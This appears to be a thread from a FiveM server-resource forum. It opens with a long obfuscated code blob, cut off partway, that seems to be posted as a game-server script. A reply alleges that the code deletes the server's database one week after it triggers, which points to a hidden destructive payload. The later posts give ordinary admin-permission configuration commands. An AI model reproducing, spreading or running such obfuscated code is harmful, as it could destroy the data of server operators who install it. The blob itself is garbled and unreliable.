xqSSRDrSarIgSxqhWqxIppJSpRIyJrSDyg4qIJxaI#aErgSzRJryayIxzJREIzDEpqRIxgyaDJSpgR6EggJprDaSpDarpErhghryyREhyIJrESyyxxSrJqzzgIrJSyqSSxaSIISChyIrDrSDzRxIIRDPE7RgxSIpJz+qhIq7SpEgrSaJppyJhagxD0IrgS^DSzqJI9gDpISqhIShaJIIg(pQIIxIEzJyxzgyDxShJIqSgIRyzgayWDzRRSrJDgpyaphqrqD)IIgrxSIyJx3rgqrzSIpJ9yRSdxgpEIK<DyEryrPDrRJIERyuxnagJSEpgzqqDIRNGpxgpSzJhpIJDaSxgrErSSqD=zRJE/ShRazpahVhazhJyRaDpqyJhJg^DqPagIqayOqpzDhrrDgEhrFRacpqzxpyIzDzEaDJxzIfqa{zJSpxaRJDHqaJqJDQRqrSDDESyr5gIpxxpqDqkhayqpzyRhrDzrpRSDhDpRDRhxyqDqIqyz3SgxxS+zJSqgaaRaSJaaqaSqEDryRqpzD 5IrRxhErRJxpIxpz1rgaqxzaRyyRaaMEzaEgUExDErJRhagDJrSRgSUEaDqp>phS)RzJqRrzxzqhawxSz%JySrJRhDSEJa1EJRqJSJRxSpagpMzhh5zJDprqyxhpr.JazygIxDSqRD}ghhqyDrhyzIhGIRJSERyOxqpSzE4Dygqg_DRDqRahRhzhaIIrSgESzRDhrRyqEpIphbEpypxzaERazygpISzSRaypagIDyDEJIaDySqyRh7SyJWEphSxFgDJlzEazrqzqEIzJDDrJySCSrRhEEzDExggOqJEaapqgzpqJrDaDphaqhyIEDREEDDhEyxJhEhgpE8zIJhrrapqqaghyryDDrRyJhhrqJzEJgyGxIRprEqJhdzgJpRMDaqpJzJE4rIDREIyDxDgpDhEgyxqyaRRD2ghpqhzrhgIraESzzEpJIhxUExRrEDIuJgPhagqzDJRqSpa7IyyrEgzqDyphybxhIJqp;SJSxRgaJE5yaRpyzSEDrpRqIhygEqIJxhErJqpxaIqRzyJrprSSpDyrhDqpaRhIrDDqEDygnhIgh*E=RaqSayJDzaayrxaSRhrrDgErzEZzIDhJSaJ&UzIhqR#pgErgzIpzlzhJIIaJhzrbxapRDzpqSIqSErggqISIpJ1JayrxzRqJzIDaIDzghhIaDaSpyhqyI RyIpypryzrpyrahD.EyrRRr0DqpxDyxzIgDDEERqxDgIJJSgagCgzhqRrJaJpxaphqrEDrEDyqxJg!JSIqJgpIaxJRBEahqhJIREIJDzEJDIECIphqIgghAxSqJJ(xhrqqDrpx3phappDEEDrhDrSzy;vzgEJESRarrIahqIrzgqpSzmREzDDapayRpxIzDREEgRxDaqRrSIDarJzypaHphDpEDpEggrDpIKJxxRgaqaISaSpgaRpSzxRSqhyyR?IyRppEJDhayIhhE;RRqIIpRrzpgrrDzzpJixaIIqyrEEIgaEEygIxryRJJEJgxEpSqJE#raDIgzShqrDDqrgzphxIIqaEhyhxpyUJEEEaI&zSxRIraDIqeJyRPzRDxSryq IyJJaEayqrDSyxqrIRsqaDrRDyzaRSIyahygqDSKzyxqzyqqhEryDrygxRhdhap-(zpRprzxEpIDzxJgaDpSDyE)hSrpJ^pgxIzzrRarxDapyJRhyzEDrSggIlaypJJ(yRxxEIDqIrahDqgzhharaxppJDShhgyDxIJgrxaSxRaHyhRxhadqIyIaEIzzaEgrIxDERDJxpgxJ+SpaI3UzzpIrghzpDaaREryDREyyS&DrxhqEqRzxaaIJDzzDZrJg#RhrahpqRahpzrhxRpDyqxJIJqZEaJyrSShpyrrhgrEagRIzgxzprJgxIgaxXIagDEaayRIzaaSrDDrqDraaJqhyIhaISxRpgDap.IJqgEzgJqySypx62aIqzzhROrxxSqEaspJIpxEpqgIxpIppyExJRrDS4pRrghhIzahRazhxJpgJhxagxqyIxgDExaRRIzxaDrqDgqqrpRqIhySEqIJxpSaDpxqIEJr5DgqqJaOJxSqRg!SDxRRrEDhphRIhJyaqyEqRaqSaDprSDgzvDDgRSyDDzIJJIpJIyhJSayE#JSyqRzSJRqhgRJqrphRpaDxhDyqxgEhDgxyIaDJEjgyqraDJzSyJpEEDzRIraDSpSJRhrzExqEyJExhg_qJIUyxE1apJhzfaxIrDRprIIhrpzgyurIpqSEERzcqzIxq&xgpx/zaRxrDhEqhaxpyrhxhpJypxRIRprEDJgrzSxpgrIhar;aaRSzaxypIJaxSgDqrIDgzEDagJpzDazrJDIqJrRRJIayzEJIyxRSSDRphyRqDppyyrIgJRabagqIDzyqqrzh&pqJIhDgAJyESRhErzIJRrIJhrJIEhDrhDDrrzSEDIzxJIEgJhpSJxIEERJqyaRDEzxRSpIzIhyzaDgpgyJphIgJISJgz{hIpqJIRRhExaiqySpayIzzIhaISDSSRzRpEIIRS(SRDqzaJRpSJaDqRSxhSgrarrgzJxRrDxxErgxEaSgJgBJJhqgzIpJrzhhqpDJqqyhREIGDyppIyqzEIgaqSSSpRUrJEqJySRyISRppqzqhcyIDqEJJZxhaIJySugyrISapaSxRyqxDhRJrpDRpRRrxaygDCARghqRgyRz#zaafJzzR1yaDIIJzxEarExJErJpESyxJSzIy qyzrRryDaJ(qzaxrrqJrrxyhhhIph^EhgacpSJq1#SRppra{hSyyRRrSzREJraDxEDyDlEyyxzzIyDhEaxqSrrarqaJIREzaapIRzhEPgDxpEzRxqrIEpaIqapqgzpqarJhpIgaqhxrxDEIryfh2SSxyEqgSqDzSRrygaSthSphEAqDErRyIxxgJRrEyaghxISJESEJgrRzqqgrJRRpIyxEJrRJpEyyrEqyExREJRRqqggJSSRaIpxDpxDlJay9hgDRpygDhSEgqEgIRxR)IaxrJSIxEzhRECRyrEDIhhzraDDhCSRqaESDrpbzDJyzzgqPyDDhhzzDIrDzCxRgrRI7SDxhRydJEEEaIUzzSRSrgRDqRz,RRrIapphJRRlSJx0EhaIEhyrxErDhyprSvqzz4RyIIDhRpIgxElIDhhpyERDEIaD#rzEqyrphyExyaq9rRhzEqJRpSIxDhEaRaqRgSxaSaa0rqSERIzxReEayrppIzxpvrDRxEypDyzIJJqDSDRhSqgEpySERarSa;IEaS4rgzxqSgRzMqgzRScSag*DS?RgrhDgpzJJhxrgDgERyIxgIJJSzRyRrzSJpINEhzqyDgpqyghEIqyShJIpJJEaRxqIgrJhryRz%hazpzzJhgEIaqhyrhDKEhyJCpIpxSEqaabpgqqaSERJrDaRhqzDa>pgyhxgIzqJrqDpxDzIpzIDarx6SxErrERRpIzDhqIDDgShyEpTggxzExgIqazIJWyyg ,RzzhpyADapgaREgzhxDSryzxxaRRDSSghqrzghr)ExzpraJhSIqxzIaDpEhgrxgIEaSEpIYRgE{gDqzzrpPrhaypyyJhrIyDDEIRrkzgqqgzzgRxmzyR({pxSADaDRSyJxIIhzyptIDDplSgpxxDrxrSgREmxaypzzqhyrJa>hDrpJSEpyxrrIpxgzzJxtyarqDzJRErSDIpxyqhzpxyIxaSIDmzyyhERSIRp>qapeJzrRarxDapyJRhzzEqS%qzphRz,RqESJhxjDzqzKxaIpayIR=gyDrrRzyRxyaDEEygRqySSpD,qJqrxSDxgSyDqqRDJhIzRxqIIyRhnSyJ)EphSqagDJSERRyqqzShDISDrSgzaphgJaEpgRSERSIJD}qaDqgDhqrSVhpEaDvhEypxyIpJa<ygRxES<JaxESyRRryaSIDzSqqgraqMryDhzykxIIqyxrIgIJRE.ayqCSpESrgRDIrDEpEyihapEyyxRSyJSzDD%EqaxJySIRprIgqhzyhRUpDzpxSIpDxzrgJEgaRRqKrDIxDIERhzhRIIhahhSrJDpEJya=xIJxrSEyxxaIqRgzhRIqRSjhyrFapSSz;pDyqhxERyRh8ahJDIORgrSgypyKpxSpDzgEprpDRSrygpqyaJRSqyhx8SxJxySgEpRzIpRrqDxryaaxJIrxhIpghEgSyJaEJg!rpzIhyeqDyGpguxIrRxzIagzpEIpDpkrJSqISIRySagEqyzRhyrSxD?paqq2yEJISSJgEyIaJqEhgEqxSIpE!xaIpayIR3gyDIrRzqppIgDx rgxxRaERySzgppDgShDzSazrSzqxarqJaIIyqxJgPJpIpJgGDg!pyQSaDpzzzEhrhDaIpyxpxyzxDSrRSxrSgRI(IhJqJzypxrRRRrIDaErgraEEzyUh:aaJaBSRRqDgDxGzIhgqzzJhyryxxpxyDEEIqhqIyJR hIJJpYRgRIrzrRqyzDIc:DaEaryDREgygMqIRDU_yg<xpDSJ?SDaIpxzrhxzaaEpyyRxyISqDEIJpxyyED+zgaIpySqhyySaEEIzREzyaJzSrJRErIExrEJRyxqayqRSJarqazxharyxRpyaEEyySJrEryarIIExaGrRRqJDDRq?hxSqpaDRKyxhErpyqx{IDJ?IJytqqSSRqSDaaqazRqxrhaqqEyghhIaxpExDxEYarDE_zg%x?DaRhrpagp;zyhiIJhIESgghpSDJhkDarqxShRpFgaoqkz.hJIIRqpxzxhEyrD=EIyzxhITJxzSarKrgJqqzEgqpIzpRpgyDyErJDxzSaDE6JypqJzIqEEqaIqpSpEy0hRRpzypxrIphJEDyDxhyqJxEpyHqaSxRDzEaq.haEEIK?DyEryrmDIyhqEaarxazrxxihapqgz}Ryr%DJrIzzxgrpJDEhgDqryxJzIxggqXSgR&ShaRpqzyhErzDEEDDrxISyDqnagRqaS:xhFSJhqyzERyrERRpJyxhzIpDSEpgapsIIRzExagqJzgRESRaI RzzhprzDprJyDxhISJqEIgqqgyEJNrSghpyzDhyrpDJpryhhhIhJzrEyapEIJRSEJaSEpSgJxrraxqRDEhyzzapEDzqxDySJSErRJh0SgDiEDgzqrDDRxrEabpEDqRxyEDhIqyEENgSqrERazqazzprzRaaqazRqxrzRxpgyohgI,hhESyJxpSJJazxggArShhy)RDyu(z%RpggaqESzqhyIrDpzyyxWEShqqHSREqpDzqhrRaRpqaEhazEDJ}SyJqSypJgIpgDpISDhISqaxqpSHharxDDIEyqpqypqIptgyqrSrpDNyghqHzhRJypaprSazxarEJJExgJqIyqJyEhgtqhSJpprzRSqqyaqRIahIpRzAxyImDpzSypEDISDRSygqqSzDhSrrxgppahxIgIaDqEJJhSSDRrE gzqaSEJySJaJqSzSha=EDSpgzoEEIhxqEgRIxDIpRS,pgxIrSpqg pDRpIyRpyraDqpazEhhIDqaExag6JzghroJDSryyShxyJR-pEzExIgSJJfIyxxpIyJxE0aSqhSrqyrygEqEySRhrEDIpxJhhqgJJIShgh<kSgJxrraxqRDERxzzaxEDzsxDySDh)yJDqySiJDrIRzpIzhqzryRDpazahRzxaSIwDaxyIyDhzggSEhgUqp)aDrpryrphzExJppzxAzIrDaExgaxyaRJzIEaIpSShhSSpaJpyDxRpIhhEEhDzpqgSqSErggqISIpJQza^qDaPpyIIRhIJSEhpyCDgOSJgqSrxqJIOgEqrSSRRyDaSpEzapEyzJrrRJDRpIRxEEyaIlyzIDhzDJEqpSphrzSgEEyJgRRy+xSEkDJxryqJxExgEtrSvhS1hDyqRyyhpzaazIpygExI8xppERSERSJJJYxJpqqSERrrDaqpJDkhpzphgIyJxhRIEJhEhhIqISppyrSRS1haxErWEDzp8z!oaIaJSSRyEqJIpRJSrJhqxzERaIrDrEryREaryDREgyg}qISxIExagqJzgqrc,g<pSayhzrgaDpEyzh(gaJyISJz_RIDJqwJgJriSqRSrDDSprJghrzhDyEEyzxEyRJIEDgqqDSgphrrJ4qRyzhzIzREpazqxIIqDhSdyREyIqqJShJhqSSJRprJaaIxzapryEayEzgahqSaqy2razxRagqJrgRtq+ySRDIShNraSpEhyIDep_ygrrIpxgShRJqhDaRxGRxIpgyJRpyhDSEhDzhxSDDo&DJSqISIRySagEqyzRhyrSxDpSaqhySrxzKrDxxaSSqREqRhxJSpRR/RxrpyyDRqIDhrpJDyhgyyDEmJgxqJgzRS;Sag_DzaRJ.hDIpaySERIDhDIgJqhhI;JxExhSqazRRIrxarpxyyqprDJIEygIEpIxJEEaarqrzrRRSyazqzzaqJrDaRqxyShDIzxhEJDJEryEqaEygRqgSgpq)Rg_pyz3RpgSa(rDyIxxIrJxIayExySRRy=ShDqIapRySEg1IgyIxyrqJySSyI/ySrqSExRgZJaaRgzxhyrpayhSzyaqIJyrEJyphqEyyhx!ShJJzpgJ5SaJqaryayqhJghSzhDyIpyq/xSrDEzagIExSzqZzSRIpryzRxIzRqpzgrhaSrhxEhyhxpy=JpEpgzrESxqzrzhDrhDJhygaDxpRRIxgSJJrMJJIxRSDJpSDaaqazRqxrhaqqEyghhIaxpExDREDarDEczg1xMDaRhrpagp,zyh9IJhIESgghpSDJhwDarsRSzRpKpapfJzDRRCxDSpDyzEhIJhJIqJaHaIyJRtgggrqSRJnryaiqpJSRpzDDIExyrxxyaDEEygRqySSpDOPJqqayrhzIrRxpzzRhEIRDDSqyaEIgSqrSbRhxdzRRRrRhSrDDJq;rDapESyphxarJaIggaqRI)RRSygqqSzDhSrrxgpSahErzEDqpqyS1pSgxSEhRavRaDRxygahqJJrhaIDaqIRyIExyEJxIyggqJIEqhzaaarzSxpRrERRpIaRhzypxrreyEhESIxzdSgSqggDRaPJghpIzahSyRDDrDa0EyyJxEpqgIxpIppyTyarrDzgqgSphSrRDqRhrwDxpxRSxSIEqg.zJzExarqRzhgJqpzRRRgrappzyJxzIIqaEEDxxgS5RS>:JhqSSJRprJaaIxzaprIIJyEDgypWIpDpEzRExxgzRJzDRhrJzIhxrxDxppzx7zrEhJErJRtSSyRDE%aD+SzIRIryRapgyJhrIha1EhgzpqIyxrEGgIxzShJ)?xhSprgEpyzqhEqqyIhprpqyEIyDxqSDJgzhgDEdSRhzFJDzOEzpxrrJJrrRyhxpIgJpSxyhfpSRqxByRErIa_REyyhpryyShSrJqzErDJxSgqxZSpgqrxzrJEyaahppzghpzaaEpqySpqIxDxEEJrx7SIJzihg%qxDShrzrhyrxDERqIIDpppRyxRIDqOEagqxaIEJhXDRzpSzShgzDDapayRpxIhDqpEggxhSaqp0xJxNzaJqEySarpgyIhIgJDgrpyDqIIDRIIqgxqESahr;gDrpRaShrIaaEEJyxxJSIhqEyDqxazrJarrJxqhzpRgr}aypnyJpIyPDyEEgIxEraxrSaRaEpSgxp9DDIqDyIqqryahp+yhhJgpJzISyqqaIxRaSIarpzzyhzyIapErDzESIzJSIwDaxyIyDhzggSEhSpqpARhxprSEEarhDppgypparEDqESDqxxIxJESrgJirShhy?hDyF(zExIrRJzpJgzxqygDDjRgIqxSERxryJ2qDg+RRIzaREzaEhpSrDJ&SyDqSSxxyEEaJqxzJqzcxRzqpyDRpIDhSphyrxgSrDEzzypEJSSRq(IaquDzahR8EDRIDyzxayRxJppgJ+gyqJhEhgrrxSJqr)Dhzq!JIharyxqErgzhxSzhqEygSxJgSRI0Iay*aSEqarrDhpryhpgrphgpbgRh}SRxy3zggxDSERz%bhapyazqqyIhaIxzRhEIhDhzIggqJSrRhEUahpzgqphmQDRpqyRRIzxxISIDJxDIRDxOSgDqzahRJSJRrrgaRpu}pDSpEzEngIShhEygExySExRAJaxqzzpRSrpDaQ4zpxzrxJgEJggxEyRJIIRgzqpSzRpSJaDphzShqrIDqEgaEhJSSJgGSDpxgypJDrIgDpIgqRy&havphzJEpIzhSpqgahxSaxI)razqyzzpI%pDrrzDShzISh*rayyhyrhqgESDhxpgpJRzxarxEDaRhrpagppaaRErqDSrqyxhxIExrEJJrxhzyJhryJQqEyIRRIzaJEzyqpgIzJREIgxxESxRyIFgDEQSRhzURDzWEzpxrrJJSpDgSxxgRqIIJgrEJSSRq!SaqQDzahRrIDxpryxxyzpa#>IyRqzSaRzuqJDxtgDRIrxaIpxaahgIJDrEhzbxhSzhqEparxJzSRgrSaxpaSEhJrJDJEIaqhyzqDaBryaqryxJh(pggq}SyR6rJRIqxyghJIghrpJDrhhSyDh_yD*xDIpRSopgxIrShqgeQDRqEyRpyIzJapxga)ySrRzSaRgxhzgpSSRaDqDSpEJrgRppyJrhqgEJzEIRRxpzrJJrrJRqIS-RgS*aEqEyIpzrxhzppgDhpSDxSEhJSxqzaJqraRIprzrhzzgDypazJhQIyJrSDggEgypqSSzRqxhS(RxQxxSpSzEEgIzhzrxJrEzghDJEpgRxRDrRr8qhzqVySRhIyaREyypRgz;DROzgzqzarDE>zgfx0DaJqSxagp:yShvzhDRpRyqpEIpD_EIgJxpSRprdEJp.aaxqpygazpJyyhygxDxEDJExIIRDpzSgEpISRhz&JDzpqDRESrrDgEIyI JrEhpEDaIqyzIxqHxgxqEarRZrIazphz hxgSJrIrDJEpyEqDEgghqaSapp!paRIrzqh1rDJIpagIxhyShqEparxJzSRSrSaxrJSaRxrDaDIEzypzrpJDEhgDESSIJI.yJaqgSgRJShaRqxSphyrRDgIqyhphySxaSIRIhVSyRrurhDqxzERaIragEryREDyThaEgyDhRSrJg<IRJqagyqRzzhyqSzDhzrzxhpDzpxSIpDxzrgaEgIPRREEaRZyzzharDDaXUyrxzIyJzSIJRErIJxrEhayxhzyxC!EDIqRyzRJIzDqrgyaxRIIJxEEgxqyyFJDI4gRpzSRhzSEaaqqyIhqrhxNpRDyhESJDpsJJzqSzgJhrghzqSDghIyzaRIaDREDIrJhEpghjDarxDdgggxxDaRzSxaSr<DSErrqxEEzyI+RIpRrEJarERSIJj4gJVqESEhIzzaxrzzpxDrpJDISyhESIqRaEqaa_IzrRSFyaxprzqEzIIhIIyDpEYrpJSEEyErgSgRIzJaypDSFhR>EDRESaqpyIgJJErghxhShRzzryEqzSPJtyagq#xzghlISD*rhyRhRIqhEEpypqrgSRIwzggqqzIRpyyDSrSahppyaxRpDyqxJIJqnE*gxrSzrqrSJRqrrDDRgrhDapaJphpIRqrEEDEEaghqIzggzqJzyRyyxaxpDDEhqzhh(IDJhhJIpJRERhrqzSzJRyyaI.RzzhprSDpIDyrxhIpJhEqyhrSSaRRtIaR4SDrRzrIaDIzahhRrRDqrEyph;... (76 KB left)


So you can delete the database after it triggers after 1 week? stop being an neek and trying to rat people
 
Last edited by a moderator:

gxtmouse

Member
Joined
Jan 1, 2022
Messages
4
Reaction score
11
Points
146
Location
Germany
Hello guys I need some help, how I can give me the permission? I get all time same error to make me as admin. But Iam admin and it don't work.
 

Zan1456

Zan#1456
VIP
Joined
Mar 19, 2021
Messages
786
Solutions
5
Reaction score
88,222
Points
421
Location
Hungary
Website
vfivem.com
Hello guys I need some help, how I can give me the permission? I get all time same error to make me as admin. But Iam admin and it don't work.
add_ace group.admin jobcreator allow # Add permission to group
add_principal identifier.steam:YOURSTEAM group.admin # Add player to the group

And restart the server
 
Top